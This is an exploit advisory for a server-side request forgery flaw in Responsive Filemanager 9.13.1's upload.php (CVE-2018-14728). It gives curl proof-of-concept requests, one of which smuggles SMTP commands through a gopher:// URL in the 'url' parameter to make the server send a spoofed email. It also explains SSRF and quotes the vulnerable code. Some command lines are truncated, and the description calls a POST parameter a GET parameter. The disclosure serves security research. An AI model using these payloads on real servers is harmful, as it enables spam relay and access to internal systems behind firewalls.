Responsive Filemanager 9.13.1 Server-Side Request Forgery Vulnerability

ID: 98801
CVE: None
Download vulnerable application: None
# Exploit Title: Responsive filemanager - SSRF
# Exploit Author: GUIA BRAHIM FOUAD
# Vendor Homepage:
# Software Link:
# Version: 9.13.1
# Tested on: responsive filemanager version: 9.13.1, php version: 7.0
# CVE : CVE-2018-14728
[Security] Bug report - SSRF - Security Issue
curl 'http://localhost/filemanager/upload.php' --data
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url='
 Description of the problem
Server Side Request Forgery (SSRF) refers to an attack where in an attacker
is able to send a crafted request from a vulnerable web application. SSRF
is usually used to target internal systems behind firewalls that are
normally inaccessible to an attacker from the external network.
Additionally, itas also possible for an attacker to leverage SSRF to access
services from the same server that is listening on the loopback interface
 Typically Server Side Request Forgery (SSRF) occurs when a web application
is making a request, where an attacker has full or partial control of the
request that is being sent. A common example is when an attacker can
control all or part of the URL to which the web application makes a request
to some third-party service
 List the steps to reproduce the issue
The GET parameter 'url' is received in line 71 of the file upload.php.
 File : upload.php
 Line| Code
71 | if(isset($_POST['url'])){
73 | $ch = curl_init($_POST['url']);
77 | curl_exec($ch);
responsive filemanager version: 9.13.1
php version: 7.0
1-4-2 (www01)